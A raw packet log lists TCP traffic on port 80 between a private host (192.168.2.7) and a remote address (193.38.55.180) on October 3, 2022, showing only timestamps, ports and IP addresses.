Oct 3, 2022 17:35:28.876276016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876280069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876296997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876302958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876327038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876352072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876374960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876399994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876424074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876446962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876471043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876493931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876517057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876538992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876562119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876585007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876607895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876630068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876652956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876674891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876697063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876718998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876741886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876765013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876796007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876818895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876842976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876864910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876888037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876894951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876912117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876929045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876934052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876951933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876959085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876971006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876971006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876971006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876971006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876983881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876986980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877002954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877019882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877037048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877057076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877079010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877104044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877115965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877130032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877166986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877199888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877228022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877275944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877299070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877304077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877314091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877330065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877352953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877353907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877376080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877386093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877398968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877422094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877424955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877444029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877455950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877466917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877490044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877491951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877516031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.877526999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.877566099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.892656088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.893151045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906548977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906613111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906646013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906677961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906709909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906729937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906740904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906761885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906769037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906771898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906800032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906821966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906827927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906857014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906857014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906893015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906903982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906904936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906933069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906950951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906961918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.906975031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.906996012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907005072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907026052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907037973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907056093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907066107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907084942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907099962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907115936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907129049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907149076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907159090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907185078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907190084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907218933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907227993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907252073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907262087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907284021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907294989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907314062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907326937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907345057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907370090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907377958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907397985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907407045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907418013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907460928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907465935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907505035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907505989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907546997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907547951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907587051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907591105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907630920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907630920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907670975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907675028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907711029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907715082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907752037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907752991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907792091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907799006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907836914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907839060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907880068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907912970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907922983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907927990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.907963991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.907968998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908004999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908010960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908047915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908087015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908093929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908128023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908137083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908138990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908184052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908190966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908227921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908232927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908271074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908272982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908318043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908334017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908364058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908365965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908410072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908412933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908457041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908459902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908499002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908504009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908543110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908545971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908588886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908632040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908677101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908720970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908765078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908812046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908859015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908883095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908905029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908932924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908951998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908957958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.908994913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.908999920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909033060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909043074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909065008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909079075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909092903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909111023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909121990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909142017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909149885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909163952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909178972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909198046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909207106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909235954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909236908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909250975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909265041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909285069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909295082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909312010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909322977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909332037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909353018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909372091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909383059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909399986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909413099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909430981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909445047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909460068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909472942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909491062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909502983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909512043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909532070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909550905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909559965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909586906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909590006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909605980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909619093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909637928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909648895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909670115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909678936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909693003 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909707069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909734964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909737110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909749985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909765959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909776926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909799099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909831047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909832001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909861088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909863949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909885883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909897089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909912109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909926891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909944057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909955978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.909965038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.909986019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910000086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910016060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910033941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910044909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910060883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910074949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910089970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910104990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910121918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910135031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910147905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910165071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910182953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910193920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910207987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910223007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910235882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910252094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910264969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910279989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910298109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910310030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910322905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910340071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910356045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910371065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910383940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910402060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910417080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910429955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910448074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910460949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910480022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910490990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910506964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910520077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910532951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910548925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910566092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910577059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910592079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910605907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910636902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910641909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910671949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910674095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910696030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910717010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910718918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910768032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910773993 CEST	49703	80	192.168.2.7	193.38.55.180
